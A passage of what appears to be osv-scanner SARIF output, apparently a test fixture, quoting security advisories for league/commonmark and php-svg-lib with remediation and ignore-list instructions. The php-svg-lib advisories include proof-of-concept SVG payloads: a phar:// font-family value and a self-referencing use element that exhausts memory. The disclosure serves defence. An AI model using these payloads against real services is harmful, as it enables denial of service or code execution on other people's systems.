+ "text": "### Impact\n\nSeveral polynomial time complexity issues in league/commonmark may lead to unbounded resource exhaustion and subsequent denial of service.\n\nMalicious users could trigger that inefficient code with carefully crafted Markdown inputs that are specifically designed to ensure the worst-case performance is reached. Sending multiple such requests in parallel could tie up all available CPU resources and/or PHP-FPM processes, leading to denial of service for legitimate users.\n\n### Patches\n\nThese vulnerabilities have been patched in version 2.6.0. All users on older versions are highly encouraged to upgrade as soon as possible.\n\n### Workarounds\n\nIf you cannot upgrade, you may be able to mitigate the issues by:\n\n- Setting very low `memory_limit` and `max_execution_time` PHP configurations to prevent runaway resource usage\n- Implementing rate-limiting, bot protection, or other approaches to reduce the risk of simultaneous bad requests hitting your site\n- Limiting the size of inputs fed into this library (specifically the max length of each line)\n- Limiting the use of this library to trusted users\n\n### References\n\nMost of these issues were discovered in other Markdown parsers. You can read more about them here:\n\n* https://github.com/commonmark/commonmark.js/issues/129\n* https://github.com/commonmark/commonmark.js/issues/157\n* https://github.com/commonmark/commonmark.js/issues/172\n* https://github.com/github/cmark-gfm/security/advisories/GHSA-r572-jvj2-3m8p\n* https://github.com/github/cmark-gfm/security/advisories/GHSA-24f7-9frr-5h2r\n* https://github.com/github/cmark-gfm/security/advisories/GHSA-29g3-96g3-jg6c\n* https://github.com/github/cmark-gfm/security/advisories/GHSA-r8vr-c48j-fcc5\n* https://github.com/github/cmark-gfm/security/advisories/GHSA-w4qg-3vf7-m9x5\n* https://github.com/github/cmark-gfm/security/advisories/GHSA-66g8-4hjf-77xh\n\nFor general information about this type of issue:\n\n* https://en.wikipedia.org/wiki/Time_complexity\n* https://cwe.mitre.org/data/definitions/407.html\n"
846
+ },
847
+ "help": {
848
+ "markdown": "**Your dependency is vulnerable to [GHSA-c2pc-g5qf-rfrf](https://osv.dev/GHSA-c2pc-g5qf-rfrf)**.\n\n## [GHSA-c2pc-g5qf-rfrf](https://osv.dev/GHSA-c2pc-g5qf-rfrf)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e ### Impact\n\u003e \n\u003e Several polynomial time complexity issues in league/commonmark may lead to unbounded resource exhaustion and subsequent denial of service.\n\u003e \n\u003e Malicious users could trigger that inefficient code with carefully crafted Markdown inputs that are specifically designed to ensure the worst-case performance is reached. Sending multiple such requests in parallel could tie up all available CPU resources and/or PHP-FPM processes, leading to denial of service for legitimate users.\n\u003e \n\u003e ### Patches\n\u003e \n\u003e These vulnerabilities have been patched in version 2.6.0. All users on older versions are highly encouraged to upgrade as soon as possible.\n\u003e \n\u003e ### Workarounds\n\u003e \n\u003e If you cannot upgrade, you may be able to mitigate the issues by:\n\u003e \n\u003e - Setting very low `memory_limit` and `max_execution_time` PHP configurations to prevent runaway resource usage\n\u003e - Implementing rate-limiting, bot protection, or other approaches to reduce the risk of simultaneous bad requests hitting your site\n\u003e - Limiting the size of inputs fed into this library (specifically the max length of each line)\n\u003e - Limiting the use of this library to trusted users\n\u003e \n\u003e ### References\n\u003e \n\u003e Most of these issues were discovered in other Markdown parsers. You can read more about them here:\n\u003e \n\u003e * https://github.com/commonmark/commonmark.js/issues/129\n\u003e * https://github.com/commonmark/commonmark.js/issues/157\n\u003e * https://github.com/commonmark/commonmark.js/issues/172\n\u003e * https://github.com/github/cmark-gfm/security/advisories/GHSA-r572-jvj2-3m8p\n\u003e * https://github.com/github/cmark-gfm/security/advisories/GHSA-24f7-9frr-5h2r\n\u003e * https://github.com/github/cmark-gfm/security/advisories/GHSA-29g3-96g3-jg6c\n\u003e * https://github.com/github/cmark-gfm/security/advisories/GHSA-r8vr-c48j-fcc5\n\u003e * https://github.com/github/cmark-gfm/security/advisories/GHSA-w4qg-3vf7-m9x5\n\u003e * https://github.com/github/cmark-gfm/security/advisories/GHSA-66g8-4hjf-77xh\n\u003e \n\u003e For general information about this type of issue:\n\u003e \n\u003e * https://en.wikipedia.org/wiki/Time_complexity\n\u003e * https://cwe.mitre.org/data/definitions/407.html\n\u003e \n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | league/commonmark | ad51c7cafb90e0bbd9f34b71d18d05994547e352 |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-c2pc-g5qf-rfrf | league/commonmark | 2.6.0 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"GHSA-c2pc-g5qf-rfrf\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n",
849
+ "text": "**Your dependency is vulnerable to [GHSA-c2pc-g5qf-rfrf](https://osv.dev/GHSA-c2pc-g5qf-rfrf)**.\n\n## [GHSA-c2pc-g5qf-rfrf](https://osv.dev/GHSA-c2pc-g5qf-rfrf)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e ### Impact\n\u003e \n\u003e Several polynomial time complexity issues in league/commonmark may lead to unbounded resource exhaustion and subsequent denial of service.\n\u003e \n\u003e Malicious users could trigger that inefficient code with carefully crafted Markdown inputs that are specifically designed to ensure the worst-case performance is reached. Sending multiple such requests in parallel could tie up all available CPU resources and/or PHP-FPM processes, leading to denial of service for legitimate users.\n\u003e \n\u003e ### Patches\n\u003e \n\u003e These vulnerabilities have been patched in version 2.6.0. All users on older versions are highly encouraged to upgrade as soon as possible.\n\u003e \n\u003e ### Workarounds\n\u003e \n\u003e If you cannot upgrade, you may be able to mitigate the issues by:\n\u003e \n\u003e - Setting very low `memory_limit` and `max_execution_time` PHP configurations to prevent runaway resource usage\n\u003e - Implementing rate-limiting, bot protection, or other approaches to reduce the risk of simultaneous bad requests hitting your site\n\u003e - Limiting the size of inputs fed into this library (specifically the max length of each line)\n\u003e - Limiting the use of this library to trusted users\n\u003e \n\u003e ### References\n\u003e \n\u003e Most of these issues were discovered in other Markdown parsers. You can read more about them here:\n\u003e \n\u003e * https://github.com/commonmark/commonmark.js/issues/129\n\u003e * https://github.com/commonmark/commonmark.js/issues/157\n\u003e * https://github.com/commonmark/commonmark.js/issues/172\n\u003e * https://github.com/github/cmark-gfm/security/advisories/GHSA-r572-jvj2-3m8p\n\u003e * https://github.com/github/cmark-gfm/security/advisories/GHSA-24f7-9frr-5h2r\n\u003e * https://github.com/github/cmark-gfm/security/advisories/GHSA-29g3-96g3-jg6c\n\u003e * https://github.com/github/cmark-gfm/security/advisories/GHSA-r8vr-c48j-fcc5\n\u003e * https://github.com/github/cmark-gfm/security/advisories/GHSA-w4qg-3vf7-m9x5\n\u003e * https://github.com/github/cmark-gfm/security/advisories/GHSA-66g8-4hjf-77xh\n\u003e \n\u003e For general information about this type of issue:\n\u003e \n\u003e * https://en.wikipedia.org/wiki/Time_complexity\n\u003e * https://cwe.mitre.org/data/definitions/407.html\n\u003e \n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | league/commonmark | ad51c7cafb90e0bbd9f34b71d18d05994547e352 |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-c2pc-g5qf-rfrf | league/commonmark | 2.6.0 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"GHSA-c2pc-g5qf-rfrf\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n"
850
+ },
851
+ "id": "GHSA-c2pc-g5qf-rfrf",
852
+ "name": "GHSA-c2pc-g5qf-rfrf",
853
+ "properties": {
854
+ "security-severity": "7.5"
855
+ },
856
+ "relationships": [],
857
+ "shortDescription": {
858
+ "markdown": "GHSA-c2pc-g5qf-rfrf: league/commonmark's quadratic complexity bugs may lead to a denial of service",
859
+ "text": "GHSA-c2pc-g5qf-rfrf: league/commonmark's quadratic complexity bugs may lead to a denial of service"
860
+ }
861
+ },
862
+ {
863
+ "deprecatedIds": [
864
+ "CVE-2024-25117",
865
+ "GHSA-f3qr-qr4x-j273"
866
+ ],
867
+ "fullDescription": {
868
+ "markdown": "### Summary\nphp-svg-lib fails to validate that font-family doesn't contain a PHAR url, which might leads to RCE on PHP \u003c 8.0, and doesn't validate if external references are allowed. This might leads to bypass of restrictions or RCE on projects that are using it, if they do not strictly revalidate the fontName that is passed by php-svg-lib.\n\n### Details\nThe Style::fromAttributes(), or the Style::parseCssStyle() should check the content of the `font-family` and prevents it to use a PHAR url, to avoid passing an invalid and dangerous `fontName` value to other libraries. The same check as done in the Style::fromStyleSheets might be reused : \n\n```\n if (\n \\array_key_exists(\"font-family\", $styles)\n \u0026\u0026 (\n \\strtolower(\\substr($this-\u003ehref, 0, 7)) === \"phar://\"\n || ($this-\u003edocument-\u003eallowExternalReferences === false \u0026\u0026 \\strtolower(\\substr($this-\u003ehref, 0, 5)) !== \"data:\")\n )\n ) {\n unset($style[\"font-family\"]);\n }\n```\n\n### PoC \n\nParsing the following SVG : \n\n```\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"\u003e\n \u003ctext x=\"20\" y=\"35\" style=\"color:red;font-family:phar:///path/to/whatever.phar/blaklis;\"\u003eMy\u003c/text\u003e\n\u003c/svg\u003e\n```\n\nwill pass the `phar:///path/to/whatever.phar/blaklis` as `$family` in `SurfaceCpdf::setFont`, which is then passed to the canvas `selectFont` as a `$fontName`.\n\n### Impact\nLibraries using this library as a dependency might be vulnerable to some bypass of restrictions, or even RCE, if they do not double check the value of the `fontName` that is passed by php-svg-lib",
869
+ "text": "### Summary\nphp-svg-lib fails to validate that font-family doesn't contain a PHAR url, which might leads to RCE on PHP \u003c 8.0, and doesn't validate if external references are allowed. This might leads to bypass of restrictions or RCE on projects that are using it, if they do not strictly revalidate the fontName that is passed by php-svg-lib.\n\n### Details\nThe Style::fromAttributes(), or the Style::parseCssStyle() should check the content of the `font-family` and prevents it to use a PHAR url, to avoid passing an invalid and dangerous `fontName` value to other libraries. The same check as done in the Style::fromStyleSheets might be reused : \n\n```\n if (\n \\array_key_exists(\"font-family\", $styles)\n \u0026\u0026 (\n \\strtolower(\\substr($this-\u003ehref, 0, 7)) === \"phar://\"\n || ($this-\u003edocument-\u003eallowExternalReferences === false \u0026\u0026 \\strtolower(\\substr($this-\u003ehref, 0, 5)) !== \"data:\")\n )\n ) {\n unset($style[\"font-family\"]);\n }\n```\n\n### PoC \n\nParsing the following SVG : \n\n```\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"\u003e\n \u003ctext x=\"20\" y=\"35\" style=\"color:red;font-family:phar:///path/to/whatever.phar/blaklis;\"\u003eMy\u003c/text\u003e\n\u003c/svg\u003e\n```\n\nwill pass the `phar:///path/to/whatever.phar/blaklis` as `$family` in `SurfaceCpdf::setFont`, which is then passed to the canvas `selectFont` as a `$fontName`.\n\n### Impact\nLibraries using this library as a dependency might be vulnerable to some bypass of restrictions, or even RCE, if they do not double check the value of the `fontName` that is passed by php-svg-lib"
870
+ },
871
+ "help": {
872
+ "markdown": "**Your dependency is vulnerable to [CVE-2024-25117](https://osv.dev/CVE-2024-25117)**.\n\n## [GHSA-f3qr-qr4x-j273](https://osv.dev/GHSA-f3qr-qr4x-j273)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e ### Summary\n\u003e php-svg-lib fails to validate that font-family doesn't contain a PHAR url, which might leads to RCE on PHP \u003c 8.0, and doesn't validate if external references are allowed. This might leads to bypass of restrictions or RCE on projects that are using it, if they do not strictly revalidate the fontName that is passed by php-svg-lib.\n\u003e \n\u003e ### Details\n\u003e The Style::fromAttributes(), or the Style::parseCssStyle() should check the content of the `font-family` and prevents it to use a PHAR url, to avoid passing an invalid and dangerous `fontName` value to other libraries. The same check as done in the Style::fromStyleSheets might be reused : \n\u003e \n\u003e ```\n\u003e if (\n\u003e \\array_key_exists(\"font-family\", $styles)\n\u003e \u0026\u0026 (\n\u003e \\strtolower(\\substr($this-\u003ehref, 0, 7)) === \"phar://\"\n\u003e || ($this-\u003edocument-\u003eallowExternalReferences === false \u0026\u0026 \\strtolower(\\substr($this-\u003ehref, 0, 5)) !== \"data:\")\n\u003e )\n\u003e ) {\n\u003e unset($style[\"font-family\"]);\n\u003e }\n\u003e ```\n\u003e \n\u003e ### PoC \n\u003e \n\u003e Parsing the following SVG : \n\u003e \n\u003e ```\n\u003e \u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003e \u003csvg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"\u003e\n\u003e \u003ctext x=\"20\" y=\"35\" style=\"color:red;font-family:phar:///path/to/whatever.phar/blaklis;\"\u003eMy\u003c/text\u003e\n\u003e \u003c/svg\u003e\n\u003e ```\n\u003e \n\u003e will pass the `phar:///path/to/whatever.phar/blaklis` as `$family` in `SurfaceCpdf::setFont`, which is then passed to the canvas `selectFont` as a `$fontName`.\n\u003e \n\u003e ### Impact\n\u003e Libraries using this library as a dependency might be vulnerable to some bypass of restrictions, or even RCE, if they do not double check the value of the `fontName` that is passed by php-svg-lib\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | phenx/php-svg-lib | 4498b5df7b08e8469f0f8279651ea5de9626ed02 |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-f3qr-qr4x-j273 | phenx/php-svg-lib | 0.5.2 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2024-25117\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n",
873
+ "text": "**Your dependency is vulnerable to [CVE-2024-25117](https://osv.dev/CVE-2024-25117)**.\n\n## [GHSA-f3qr-qr4x-j273](https://osv.dev/GHSA-f3qr-qr4x-j273)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e ### Summary\n\u003e php-svg-lib fails to validate that font-family doesn't contain a PHAR url, which might leads to RCE on PHP \u003c 8.0, and doesn't validate if external references are allowed. This might leads to bypass of restrictions or RCE on projects that are using it, if they do not strictly revalidate the fontName that is passed by php-svg-lib.\n\u003e \n\u003e ### Details\n\u003e The Style::fromAttributes(), or the Style::parseCssStyle() should check the content of the `font-family` and prevents it to use a PHAR url, to avoid passing an invalid and dangerous `fontName` value to other libraries. The same check as done in the Style::fromStyleSheets might be reused : \n\u003e \n\u003e ```\n\u003e if (\n\u003e \\array_key_exists(\"font-family\", $styles)\n\u003e \u0026\u0026 (\n\u003e \\strtolower(\\substr($this-\u003ehref, 0, 7)) === \"phar://\"\n\u003e || ($this-\u003edocument-\u003eallowExternalReferences === false \u0026\u0026 \\strtolower(\\substr($this-\u003ehref, 0, 5)) !== \"data:\")\n\u003e )\n\u003e ) {\n\u003e unset($style[\"font-family\"]);\n\u003e }\n\u003e ```\n\u003e \n\u003e ### PoC \n\u003e \n\u003e Parsing the following SVG : \n\u003e \n\u003e ```\n\u003e \u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003e \u003csvg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"\u003e\n\u003e \u003ctext x=\"20\" y=\"35\" style=\"color:red;font-family:phar:///path/to/whatever.phar/blaklis;\"\u003eMy\u003c/text\u003e\n\u003e \u003c/svg\u003e\n\u003e ```\n\u003e \n\u003e will pass the `phar:///path/to/whatever.phar/blaklis` as `$family` in `SurfaceCpdf::setFont`, which is then passed to the canvas `selectFont` as a `$fontName`.\n\u003e \n\u003e ### Impact\n\u003e Libraries using this library as a dependency might be vulnerable to some bypass of restrictions, or even RCE, if they do not double check the value of the `fontName` that is passed by php-svg-lib\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | phenx/php-svg-lib | 4498b5df7b08e8469f0f8279651ea5de9626ed02 |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-f3qr-qr4x-j273 | phenx/php-svg-lib | 0.5.2 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2024-25117\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n"
874
+ },
875
+ "id": "CVE-2024-25117",
876
+ "name": "CVE-2024-25117",
877
+ "properties": {
878
+ "security-severity": "6.8"
879
+ },
880
+ "relationships": [],
881
+ "shortDescription": {
882
+ "markdown": "CVE-2024-25117: php-svg-lib lacks path validation on font through SVG inline styles ",
883
+ "text": "CVE-2024-25117: php-svg-lib lacks path validation on font through SVG inline styles "
884
+ }
885
+ },
886
+ {
887
+ "deprecatedIds": [
888
+ "CVE-2023-50251",
889
+ "GHSA-ff5x-7qg5-vwf2"
890
+ ],
891
+ "fullDescription": {
892
+ "markdown": "### Summary\nWhen parsing the attributes passed to a `use` tag inside an svg document, we can cause the system to go to an infinite recursion. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself.\n\n### Details\nInside `Svg\\Tag\\UseTag::before`, php-svg-lib parses the attributes passed to an `use` tag inside an svg document. When it finds a `href` or `xlink:href`, it will try to retrieve the object representing this tag:\n\n```\n$link = $attributes[\"href\"] ?? $attributes[\"xlink:href\"];\n$this-\u003ereference = $document-\u003egetDef($link);\n\nif ($this-\u003ereference) {\n $this-\u003ereference-\u003ebefore($attributes);\n}\n```\n\n`$document-\u003egetDef` is implemented as follow:\n\n```\npublic function getDef($id) {\n $id = ltrim($id, \"#\");\n\n return isset($this-\u003edefs[$id]) ? $this-\u003edefs[$id] : null;\n}\n```\n\n_Note:_ the `$id` in the above method is actually the _link_ being used in `use` tag. This part is important, because this behaviour here actually leads to the vulnerability. It will be mentioned later on in this report.\n\nIf it finds the referenced object, it will try to call the `before` method on the referenced object (this is still inside `Svg\\Tag\\UseTag::before`) :\n\n```\nif ($this-\u003ereference) {\n $this-\u003ereference-\u003ebefore($attributes);\n}\n```\n\nIn order to cause an infinte loop, we need to be able to control the `$id` used in the `$this-\u003edefs[$id]` code above. This `defs` property (`Svg\\Document::defs`) is being populated when `Svg\\Document::_tagStart` is called. This is the handler being used when the php-svg-lib is parsing the svg structure:\n\n```\n// Svg\\Document line 343\nif ($tag) {\n if (isset($attributes[\"id\"])) {\n $this-\u003edefs[$attributes[\"id\"]] = $tag;\n }\n else {\n // ...\n }\n\n // ...\n}\n```\n\nSo if the `use` tag contains an `id`, then that `use` tag will be added to the `$defs` array with it's `id` as the key.\n\nNow as noted before, when there is a link inside the `use` tag, the library uses that link as the `id` to actually find the object or `tag` that has been added to the `Svg\\Document::defs`.\n\nSo if the `id` attribute is equal to the link attribute inside the `use` tag, then the referenced object (in this case it is the `Use` tag object) will be called recursively until the memory given to the script is exhausted.\n\n### PoC\n\nThis is an example svg file that can be used to demonstrate the vulnerability.\n\n```\n\u003csvg width=\"200\" height=\"200\"\n xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\n \u003cuse id=\"selfref\" xlink:href=\"#selfref\" /\u003e\n\u003c/svg\u003e\n```\n\n### Impact\n\nWhen the lib parses the above payload, it will crash:\n\n```\nPHP Fatal error: Allowed memory size of 536870912 bytes exhausted (tried to allocate 262144 bytes) in /xxx/dompdf/vendor/phenx/php-svg-lib/src/Svg/Tag/UseTag.php on line 37\n```\n\nAn attacker sending multiple request to a system to render the above payload can potentially cause resource exhaustion to the point that the system is unable to handle incoming request.",
893
+ "text": "### Summary\nWhen parsing the attributes passed to a `use` tag inside an svg document, we can cause the system to go to an infinite recursion. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself.\n\n### Details\nInside `Svg\\Tag\\UseTag::before`, php-svg-lib parses the attributes passed to an `use` tag inside an svg document. When it finds a `href` or `xlink:href`, it will try to retrieve the object representing this tag:\n\n```\n$link = $attributes[\"href\"] ?? $attributes[\"xlink:href\"];\n$this-\u003ereference = $document-\u003egetDef($link);\n\nif ($this-\u003ereference) {\n $this-\u003ereference-\u003ebefore($attributes);\n}\n```\n\n`$document-\u003egetDef` is implemented as follow:\n\n```\npublic function getDef($id) {\n $id = ltrim($id, \"#\");\n\n return isset($this-\u003edefs[$id]) ? $this-\u003edefs[$id] : null;\n}\n```\n\n_Note:_ the `$id` in the above method is actually the _link_ being used in `use` tag. This part is important, because this behaviour here actually leads to the vulnerability. It will be mentioned later on in this report.\n\nIf it finds the referenced object, it will try to call the `before` method on the referenced object (this is still inside `Svg\\Tag\\UseTag::before`) :\n\n```\nif ($this-\u003ereference) {\n $this-\u003ereference-\u003ebefore($attributes);\n}\n```\n\nIn order to cause an infinte loop, we need to be able to control the `$id` used in the `$this-\u003edefs[$id]` code above. This `defs` property (`Svg\\Document::defs`) is being populated when `Svg\\Document::_tagStart` is called. This is the handler being used when the php-svg-lib is parsing the svg structure:\n\n```\n// Svg\\Document line 343\nif ($tag) {\n if (isset($attributes[\"id\"])) {\n $this-\u003edefs[$attributes[\"id\"]] = $tag;\n }\n else {\n // ...\n }\n\n // ...\n}\n```\n\nSo if the `use` tag contains an `id`, then that `use` tag will be added to the `$defs` array with it's `id` as the key.\n\nNow as noted before, when there is a link inside the `use` tag, the library uses that link as the `id` to actually find the object or `tag` that has been added to the `Svg\\Document::defs`.\n\nSo if the `id` attribute is equal to the link attribute inside the `use` tag, then the referenced object (in this case it is the `Use` tag object) will be called recursively until the memory given to the script is exhausted.\n\n### PoC\n\nThis is an example svg file that can be used to demonstrate the vulnerability.\n\n```\n\u003csvg width=\"200\" height=\"200\"\n xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\n \u003cuse id=\"selfref\" xlink:href=\"#selfref\" /\u003e\n\u003c/svg\u003e\n```\n\n### Impact\n\nWhen the lib parses the above payload, it will crash:\n\n```\nPHP Fatal error: Allowed memory size of 536870912 bytes exhausted (tried to allocate 262144 bytes) in /xxx/dompdf/vendor/phenx/php-svg-lib/src/Svg/Tag/UseTag.php on line 37\n```\n\nAn attacker sending multiple request to a system to render the above payload can potentially cause resource exhaustion to the point that the system is unable to handle incoming request."
894
+ },
895
+ "help": {
896
+ "markdown": "**Your dependency is vulnerable to [CVE-2023-50251](https://osv.dev/CVE-2023-50251)**.\n\n## [GHSA-ff5x-7qg5-vwf2](https://osv.dev/GHSA-ff5x-7qg5-vwf2)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e ### Summary\n\u003e When parsing the attributes passed to a `use` tag inside an svg document, we can cause the system to go to an infinite recursion. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself.\n\u003e \n\u003e ### Details\n\u003e Inside `Svg\\Tag\\UseTag::before`, php-svg-lib parses the attributes passed to an `use` tag inside an svg document. When it finds a `href` or `xlink:href`, it will try to retrieve the object representing this tag:\n\u003e \n\u003e ```\n\u003e $link = $attributes[\"href\"] ?? $attributes[\"xlink:href\"];\n\u003e $this-\u003ereference = $document-\u003egetDef($link);\n\u003e \n\u003e if ($this-\u003ereference) {\n\u003e $this-\u003ereference-\u003ebefore($attributes);\n\u003e }\n\u003e ```\n\u003e \n\u003e `$document-\u003egetDef` is implemented as follow:\n\u003e \n\u003e ```\n\u003e public function getDef($id) {\n\u003e $id = ltrim($id, \"#\");\n\u003e \n\u003e return isset($this-\u003edefs[$id]) ? $this-\u003edefs[$id] : null;\n\u003e }\n\u003e ```\n\u003e \n\u003e _Note:_ the `$id` in the above method is actually the _link_ being used in `use` tag. This part is important, because this behaviour here actually leads to the vulnerability. It will be mentioned later on in this report.\n\u003e \n\u003e If it finds the referenced object, it will try to call the `before` method on the referenced object (this is still inside `Svg\\Tag\\UseTag::before`) :\n\u003e \n\u003e ```\n\u003e if ($this-\u003ereference) {\n\u003e $this-\u003ereference-\u003ebefore($attributes);\n\u003e }\n\u003e ```\n\u003e \n\u003e In order to cause an infinte loop, we need to be able to control the `$id` used in the `$this-\u003edefs[$id]` code above. This `defs` property (`Svg\\Document::defs`) is being populated when `Svg\\Document::_tagStart` is called. This is the handler being used when the php-svg-lib is parsing the svg structure:\n\u003e \n\u003e ```\n\u003e // Svg\\Document line 343\n\u003e if ($tag) {\n\u003e if (isset($attributes[\"id\"])) {\n\u003e $this-\u003edefs[$attributes[\"id\"]] = $tag;\n\u003e }\n\u003e else {\n\u003e // ...\n\u003e }\n\u003e \n\u003e // ...\n\u003e }\n\u003e ```\n\u003e \n\u003e So if the `use` tag contains an `id`, then that `use` tag will be added to the `$defs` array with it's `id` as the key.\n\u003e \n\u003e Now as noted before, when there is a link inside the `use` tag, the library uses that link as the `id` to actually find the object or `tag` that has been added to the `Svg\\Document::defs`.\n\u003e \n\u003e So if the `id` attribute is equal to the link attribute inside the `use` tag, then the referenced object (in this case it is the `Use` tag object) will be called recursively until the memory given to the script is exhausted.\n\u003e \n\u003e ### PoC\n\u003e \n\u003e This is an example svg file that can be used to demonstrate the vulnerability.\n\u003e \n\u003e ```\n\u003e \u003csvg width=\"200\" height=\"200\"\n\u003e xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\n\u003e \u003cuse id=\"selfref\" xlink:href=\"#selfref\" /\u003e\n\u003e \u003c/svg\u003e\n\u003e ```\n\u003e \n\u003e ### Impact\n\u003e \n\u003e When the lib parses the above payload, it will crash:\n\u003e \n\u003e ```\n\u003e PHP Fatal error: Allowed memory size of 536870912 bytes exhausted (tried to allocate 262144 bytes) in /xxx/dompdf/vendor/phenx/php-svg-lib/src/Svg/Tag/UseTag.php on line 37\n\u003e ```\n\u003e \n\u003e An attacker sending multiple request to a system to render the above payload can potentially cause resource exhaustion to the point that the system is unable to handle incoming request.\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | phenx/php-svg-lib | 4498b5df7b08e8469f0f8279651ea5de9626ed02 |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-ff5x-7qg5-vwf2 | phenx/php-svg-lib | 0.5.1 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2023-50251\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n",
897
